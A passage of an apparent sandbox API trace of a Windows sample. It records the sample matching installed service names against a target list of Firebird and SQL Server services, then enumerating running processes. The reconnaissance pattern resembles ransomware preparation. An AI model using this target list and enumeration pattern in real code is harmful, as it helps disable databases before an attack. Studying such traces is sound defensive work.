lpString2="ClickToRunSvc") returned 1 [0259.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0259.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0259.660] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0259.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0259.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0259.661] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0259.661] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0259.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0259.661] lstrlenW (lpString="CryptSvc") returned 8 [0259.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0259.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0259.661] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0259.661] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0259.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0259.661] lstrlenW (lpString="DcomLaunch") returned 10 [0259.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.661] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0259.661] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0259.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0259.661] lstrlenW (lpString="DeviceAssociationService") returned 24 [0259.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0259.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0259.661] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0259.661] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0259.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0259.662] lstrlenW (lpString="Dhcp") returned 4 [0259.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0259.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0259.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0259.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0259.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0259.663] lstrlenW (lpString="Dnscache") returned 8 [0259.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0259.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0259.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0259.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0259.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0259.663] lstrlenW (lpString="DPS") returned 3 [0259.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0259.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0259.663] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0259.663] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0259.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0259.663] lstrlenW (lpString="DusmSvc") returned 7 [0259.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0259.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0259.663] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0259.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0259.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0259.664] lstrlenW (lpString="EventLog") returned 8 [0259.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0259.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0259.664] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0259.664] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0259.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0259.664] lstrlenW (lpString="EventSystem") returned 11 [0259.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0259.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0259.664] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0259.664] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0259.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0259.664] lstrlenW (lpString="FontCache") returned 9 [0259.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0259.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0259.664] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0259.664] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0259.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0259.664] lstrlenW (lpString="gpsvc") returned 5 [0259.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0259.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0259.664] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0259.665] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0259.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0259.665] lstrlenW (lpString="iphlpsvc") returned 8 [0259.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.665] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0259.665] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0259.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0259.665] lstrlenW (lpString="KeyIso") returned 6 [0259.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0259.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0259.665] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0259.665] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0259.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0259.665] lstrlenW (lpString="LanmanServer") returned 12 [0259.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0259.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0259.665] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0259.766] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0259.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0259.766] lstrlenW (lpString="LanmanWorkstation") returned 17 [0259.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.766] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0259.766] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0259.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0259.767] lstrlenW (lpString="lfsvc") returned 5 [0259.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0259.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0259.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0259.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0259.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0259.767] lstrlenW (lpString="lmhosts") returned 7 [0259.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0259.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0259.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0259.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0259.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0259.767] lstrlenW (lpString="LSM") returned 3 [0259.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0259.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0259.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0259.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0259.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0259.767] lstrlenW (lpString="MpsSvc") returned 6 [0259.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0259.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0259.767] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0259.767] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0259.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0259.767] lstrlenW (lpString="NcbService") returned 10 [0259.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0259.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0259.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0259.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0259.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0259.768] lstrlenW (lpString="netprofm") returned 8 [0259.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0259.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0259.768] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0259.768] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0259.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0259.768] lstrlenW (lpString="NgcSvc") returned 6 [0259.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0259.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0259.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0259.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0259.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0259.768] lstrlenW (lpString="NlaSvc") returned 6 [0259.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0259.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0259.769] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0259.769] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0259.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0259.769] lstrlenW (lpString="nsi") returned 3 [0259.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0259.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0259.769] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0259.769] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0259.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0259.769] lstrlenW (lpString="PcaSvc") returned 6 [0259.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0259.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0259.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0259.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0259.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0259.769] lstrlenW (lpString="PlugPlay") returned 8 [0259.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0259.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0259.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0259.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0259.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0259.769] lstrlenW (lpString="Power") returned 5 [0259.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0259.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0259.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0259.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0259.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0259.770] lstrlenW (lpString="ProfSvc") returned 7 [0259.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0259.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0259.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0259.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0259.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0259.770] lstrlenW (lpString="RpcEptMapper") returned 12 [0259.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0259.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0259.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0259.770] lstrlenW (lpString="RpcSs") returned 5 [0259.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0259.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0259.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0259.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0259.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0259.770] lstrlenW (lpString="SamSs") returned 5 [0259.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0259.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0259.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0259.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0259.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0259.771] lstrlenW (lpString="Schedule") returned 8 [0259.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0259.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0259.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0259.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0259.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0259.771] lstrlenW (lpString="SecurityHealthService") returned 21 [0259.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0259.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0259.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0259.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0259.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0259.771] lstrlenW (lpString="SENS") returned 4 [0259.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0259.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0259.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0259.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0259.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0259.771] lstrlenW (lpString="ShellHWDetection") returned 16 [0259.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.772] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0259.772] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0259.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0259.772] lstrlenW (lpString="Spooler") returned 7 [0259.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0259.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0259.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0259.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0259.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0259.773] lstrlenW (lpString="StateRepository") returned 15 [0259.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0259.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0259.773] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0259.773] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0259.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0259.773] lstrlenW (lpString="SysMain") returned 7 [0259.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0259.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0259.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0259.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0259.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0259.773] lstrlenW (lpString="SystemEventsBroker") returned 18 [0259.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0259.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0259.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0259.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0259.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0259.773] lstrlenW (lpString="Themes") returned 6 [0259.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0259.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0259.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0259.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0259.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0259.774] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0259.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0259.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0259.774] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0259.774] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0259.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4074628 | out: hHeap=0x630000) returned 1 [0259.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1154 [0260.274] Process32FirstW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.275] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.276] lstrlenW (lpString="System") returned 6 [0260.276] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.291] lstrlenW (lpString="smss.exe") returned 8 [0260.291] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.291] lstrlenW (lpString="csrss.exe") returned 9 [0260.291] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.292] lstrlenW (lpString="wininit.exe") returned 11 [0260.292] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.293] lstrlenW (lpString="csrss.exe") returned 9 [0260.293] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.296] lstrlenW (lpString="winlogon.exe") returned 12 [0260.296] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.297] lstrlenW (lpString="services.exe") returned 12 [0260.297] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.298] lstrlenW (lpString="lsass.exe") returned 9 [0260.298] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.299] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0260.299] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0260.300] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0260.300] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.301] lstrlenW (lpString="svchost.exe") returned 11 [0260.301] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.302] lstrlenW (lpString="svchost.exe") returned 11 [0260.302] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.304] lstrlenW (lpString="dwm.exe") returned 7 [0260.304] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.306] lstrlenW (lpString="svchost.exe") returned 11 [0260.306] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.307] lstrlenW (lpString="svchost.exe") returned 11 [0260.307] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.308] lstrlenW (lpString="svchost.exe") returned 11 [0260.308] Process32NextW (in: hSnapshot=0x1154, lppe=0x8cffd2c | out: 